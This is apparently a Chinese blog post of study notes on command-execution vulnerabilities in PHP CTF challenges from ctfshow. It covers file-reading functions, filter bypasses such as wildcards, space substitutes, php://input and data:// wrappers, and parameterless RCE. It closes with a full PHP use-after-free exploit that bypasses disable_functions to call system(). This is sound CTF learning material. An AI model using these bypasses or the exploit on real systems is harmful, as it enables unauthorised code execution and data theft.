命令执行知识点汇总

趁热打铁,记录一下做题方式和知识点,好复习

一、什么是命令执行?

        命令执行漏洞指的是网站的应用程序有些需要调用执行系统命令,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

        命令执行,执行的有两种命令,一种是搭建网站的Linux系统命令,一个是php自身的函数

        对于一道与命令执行相关的题目,重要的是找到什么函数/命令可以用,怎么用,用来干什么。

        接下来会详细归纳一下怎么做命令执行的题目


二、可用函数/命令与绕过手法

        flag以文件的形式藏在网页目录中,我们需要

        1.找到flag文件的位置

        2.读取它

在php中可以执行Linux命令的常见函数有:

        system()passthru()exec()shell_exec()pcntl_exec()popen()proc_open()

在php中可以执行代码的常见函数有:

        eval()、assert()preg_replace()$

        当一道题目中出现了eval()等函数之后,我们便可以控制eval()函数的参数,从而让网站执行我们想要执行的命令。

        前面说了,我们需要找到flag文件的位置,需要读取它。所以,我们还需要一些Linux命令和php函数。


 可读取目录的命令/函数

         ls (一般也只用ls)
        ll:是 ls -l 的缩写,可以显示文件的详细信息,包括权限、所有者、大小、时间戳 等。
        la:是 ls -a 的缩写,可以显示所有文件,包括隐藏文件。
        tree:可以以树形结构显示目录和文件,更加直观。
        dir
        echo /* : 可以读目录的(根目录)
        exa:是一个比 ls 更加现代化的替代品,支持彩色输出、Git 状态标记、更好的排序 和过滤等功能。
        vdir:和 ls 类似,但是可以按照文件修改时间进行排序。
        lsd:只显示目录,不显示文件,适合查看目录结构。
        

        print_r(glob("*")); // 读取当前目录
        print_r(glob("/*")); // 列根目录
        var_dump(scandir(chr(47))) 等同于 system("ls /") // (空格,引号被过滤的话,可以替代)
        print_r(scandir('.')); // 访问当前目录
        print_r(scandir("/")); //打印一下根目录

        $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
        $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
        $a=glob("/*");foreach($a as $value){echo $value."   ";}
        $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}(根目录)


可读取文件的命令/函数

         cat: 读取文件内容
        sort: 可以读取文件内容
        less:可以分页显示文件内容,并且支持上下翻页、搜索等操作,适合查看较长的文件 内容。
        more:和 less 类似,也可以分页显示文件内容,但是功能比 less 简单。
        head:可以显示文件的前几行,默认显示前 10 行。
        tail:可以显示文件的后几行,默认显示后 10 行。
        nl:可以显示文件的行号,并且可以自定义行号的格式。
        grep:可以在文件中查找指定的字符串,支持正则表达式,适合查找特定内容。
        awk:可以对文件进行逐行处理和分析,支持多种操作和模式匹配。
        tac:和 cat 相反,可以倒序显示文件的内容。
        paste:可以将多个文件按列合并,适合处理数据表格。
        sed:可以对文件进行逐行处理和替换,支持正则表达式,适合批量修改文本。
        1tr:可以对文件中的字符进行替换和删除等操作,适合批量修改字符集。
        hexdump:可以以十六进制的形式显示文件的 内容,并且可以查看文件的二进制格式。
        od:可以以八进制或十六进制的形式显示文件的内容,并且可以查看文件的二进制格 式。
        pr:可以将文件进行格式化和分页处理,适合打印或排版文本。
        fold:可以将长行文本进行折行处理,便于查看和编辑。
         highlight_file();
        show_source();
        file_get_contents();
        readfile();
        include($filename);
        include_once($filename);
        require($filename);
        require_once($filename);

绕过手法

        命令执行,需要严格的过滤,这类题目里会用preg_match()函数正则匹配实现过滤

如果把你需要用到命令/函数/flag给过滤了该怎么办呢

        1.可以换个函数用(bushi)

        2.使用传说中的绕过手法

通配符绕过

题目把flag过滤了怎么办,无法读取flag,那么可以用通配符匹配绕过

        flag
        cat flag
        cat f???
        cat f*                                                                                                                                              用"[!]"来替换通配符"?"
        "[!q]"表示匹配非q的字符
        *: 表示匹配一个或多个
        也用 [^x] 的方法来表示 “这个位置不是字符x”
        可见大写字母位于 @ 与 [ 之间, 可以利用 [@-[] 来表示大写字母

关键词拼接

tac等读取命令被ban了怎么办?可以用关键词拼接

         \ : 比如ls 被过滤了, 可以使用 l\s 执行命令
        "" 或者 ' ' : 同理: l''s 和 l""s
        $@ : 同理 l$@s

空格绕过

空格都要ban,真是crazy

        %20 :空格url编码
        %0d:回车的url
        %0a:换行的url
        %09 :Tab 的url
        <
        <>
        ${IFS}

        $IFS$1

后续代码绕过

构造的pyload后面加一个exit();

过滤掉eval()后面的会影响回响的代码。

(详情可见web71ctfshow_web67-77_命令执行-CSDN博客


三、特殊手法

以上这些知识点可以解决很多题目了,接下来是一些特殊手法

文件包含

准确来说,文件包含并不属于命令执行的范畴,不过ctfshow命令执行里出现了需要文件包含的题目,这里就一起带过了

文件包含函数漏洞

(偷个懒,把我之前写的复制粘贴一下QAQ)

        1.require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。

        2.include(),找不到被包含的文件时只会产生警告,脚本将继续运行

        3.highlight_file()

        这里简单来说就是遇到require()函数和include()函数时,可能会触发文件包含的漏洞,具体通过一些伪协议进行包含

文件包含伪协议

        file:// [文件的绝对路径和文件名]
        php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了
        php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

        zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行
        data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

        data://text/plain/,<?php ‘代码’?>

(详情可见)


无参数rce

        当过滤几乎把所有标点符号都ban了但是没过滤()的时候,就涉及到无参数rce

        (同样偷个懒,复制粘贴一下)

        print_r(scandir())  查看当前目录下的所有文件名

        current()  数返回数组中的当前元素(单元),默认取第一个值可以代替pos();

        localeconv()  函数返回一包含本地数字及货币格式信息的数组(其实结果就是  .  是为了上面查看当前目录的)

        也可以用getcwd()  返回当前工作目录(代替pos(localeconv());)

所以print_r(scandir(current(localeconv())));//print_r(scandir(getcwd()));就是查看当前目录

怎么读取呢?

        array_reverse()顾名思义,数组倒置。

        next()  将数组中的内部指针向前移动一位(这里倒置之后移动就正好是flag.php的位置)

        show_source() 展示源码

        然后通过指针的移动展示flag所在文件的源码

(详情见web40ctfshow40-55 命令执行-CSDN博客


mv改名/grep

.php文件在网页中通常是不显示的。

有些题目读取了flag.php之后可以得到flag是因为flag.php中有输出flag的代码

那么如果读取flag.php之后没有显示出flag该怎么办呢

1.可以用grep命令在flag.php中读取

2.通过mv改名,把.php文件改名伪.txt文件

grep flag flag.php(在flag.php中匹配有flag的字符串并输出)

mv flag.php a.txt

(详情见web54ctfshow40-55 命令执行-CSDN博客


Ascii码替代字母

首先,在终端中,$'\xxx'可以将八进制ascii码解析为字符

在题目中ban了所有字母时,就可以用这个方式来执行命令

例:$%27\154\163%27

%27是  '

154八进制转换为十进制转化为Ascii码为l

163是s

所以这个命令就是 ls


炫技1.0

偷个懒,截一下之前的图

        这里再给个原码

import requests

url = "http://7ddc2667-c299-4a6f-824d-29746a045d38.challenge.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
if r.text.find("flag") > 0:
    print(r.text)

炫技2.0

当网站目录被open_basedir和disable_function限制了,也就是无法打开open_basedir锁定树之外的文件也无法用disable_function函数ban掉的函数时

可以用开源脚本进行绕过(原理我也不懂)

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
 
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { 
 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
 
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
 
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 
 
    ($helper->b)($cmd);
    exit();
}
 
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

发包后记得url编码一下

四、小结

        命令执行到这就差不多了,特殊手法虽然没有完全归纳,不过大致的解题思路和绕过手法都有提到,希望大家能从中学到东西。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值